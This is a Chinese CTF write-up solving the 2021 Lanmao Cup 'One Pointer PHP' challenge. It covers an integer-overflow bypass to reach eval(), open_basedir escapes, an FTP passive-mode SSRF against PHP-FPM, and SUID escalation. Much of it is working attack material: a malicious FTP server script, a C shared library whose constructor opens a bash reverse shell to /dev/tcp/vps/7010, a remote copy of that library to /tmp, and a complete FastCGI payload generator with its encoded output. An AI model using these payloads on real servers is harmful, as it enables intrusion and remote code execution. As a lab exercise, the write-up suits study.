[蓝帽杯 2021]One Pointer PHP
这个题目涉及的知识点较多,加上最近比较忙,用了比较长的时间才做出来。。还是自己太菜了
文章目录
源码
两个文件,user.php和add_api.php
user.php:
<?php
class User{
public $count;
}
?>
add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
php数组溢出
分析一下,我们的目的是要执行eval(backdoor)
,那么就需要满足$count[]=1
,
首先是php数组溢出
<?php
$a = 1;
$count[++$a] = 1;
$count[]=1;
print_r($count);
运行结果
php数组溢出
在 PHP中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。
测试
<?php
$a = 9223372036854775806;
$count[++$a] = 1;
$count[]=1;
print_r($count);
结果
说明$count[]=1;
执行失败,为假,这个时候,就可以执行eval($_GET["backdoor"]);
注意cookie的url编码
Cookie:
data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
查看phpinfo()
基本无法执行命令,disable_functions过滤得太多了
还有就是无法访问其他目录,查看open_basedir,被限制了
绕过open_basedir目录限制
蚁剑连接
注意添加cookie
除了/var/www/html之外,没有访问其他文件夹的权限,但是该文件有上传权限
glob协议读取文件目录
open_basedir可以通过glob伪协议绕过
上传a.php
<?php
$a = "glob:///*";
if($b = opendir($a)){
while(($file = readdir($b)) !== false){
echo $file.'<br>';//将根目录的文件名字输出
}
closedir($b);
}
访问a.php,可以看到/flag,但是不能读取(起码知道flag的位置)
chdir()和ini_set()组合绕过
chdir()和ini_set()组合来绕过open_basedir()函数
/add_api.php?backdoor=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
读取/proc/self/cmdline
add_api.php?backdoor=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/proc/self/cmdline');
回显,这提示我们php-fpm攻击了
查看/proc/self/maps
,
add_api.php?backdoor=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/proc/self/maps');
发现了easy_bypass.so的路径
既然我们知道路径,那么可以使用copy命令将其复制到/var/www/html
中,然后将其下载下来
/add_api.php?backdoor=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(copy("/usr/local/lib/php/extensions/no-debug-non-zts-20190902/easy_bypass.so","/var/www/html/easy_bypass.so"));
不会ida,过~~
查看nginx配置文件,发现php-fpm在本地的9001端口
/add_api.php?backdoor=chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/nginx/sites-available/default');
到这里的话,解题思路就明确了。
利用eval()进行SSRF,利用SSRF攻击本地的PHP-FPM。我们可以在vps上搭建恶意的ftp服务,让目标主机将payload转发至9001端口,实现攻击PHP-FPM并执行命令(反弹shell)
ftp的被动模式
用一下大佬的ftp被动模式解析,原文链接:重温FTP的主动模式和被动模式
我们的恶意ftp服务会告诉靶机,你要把payload发送到本机的9001端口,这样的话,我们就可以造成靶机向本地的9001端口发送任意数据包,执行任意代码,造成SSRF
起一个ftp服务
运行
python3 ftp.py
需要服务器提前打开相应的端口,比如我将ftp服务部署在了7001端口,那么需要打开防火墙相应的端口
#ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 7008))#ftp服务的端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2) 注意打到9001端口的服务
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
加载恶意的so文件
根据php-fpm的原理,修改PHP_VALUE,使其加载一个扩展
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
弹shell弹到vps的7010端口(需要提前监听7010端口,获取shell)
hpdoger.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/vps/7010 0>&1'");
}
linux命令
gcc hpdoger.c -fPIC -shared -o hpdoger.so
上传恶意的so文件,利用copy命令,将vps上的so文件copy到靶机的/tmp文件夹
/add_api.php?backdoor=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://vps/hpdoger.so','/tmp/hpdoger.so');
生成payload
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{
$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{
$p++}) << 16);
$nlen |= (ord($data{
$p++}) << 8);
$nlen |= (ord($data{
$p++}));
}
$vlen = ord($data{
$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{
$p++}) << 16);
$vlen |= (ord($data{
$p++}) << 8);
$vlen |= (ord($data{
$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{
0});
$ret['type'] = ord($data{
1});
$ret['requestId'] = (ord($data{
2}) << 8) + ord($data{
3});
$ret['contentLength'] = (ord($data{
4}) << 8) + ord($data{
5});
$ret['paddingLength'] = ord($data{
6});
$ret['reserved'] = ord($data{
7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}
$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami'; // 啥也不是, 不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // 啥也不是, 不用管
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
运行结果
data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
payload
ftp服务端口在7008,然后靶机将shell反弹到7010端口(vps要监听7010端口,获取shell,然后suid提权)
/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://aaa@vps:7008/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
suid提权
查找root用户权限的suid文件
find / -perm -u=s -type f 2>/dev/null
php交互模式就可以,进入php -a模式
mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));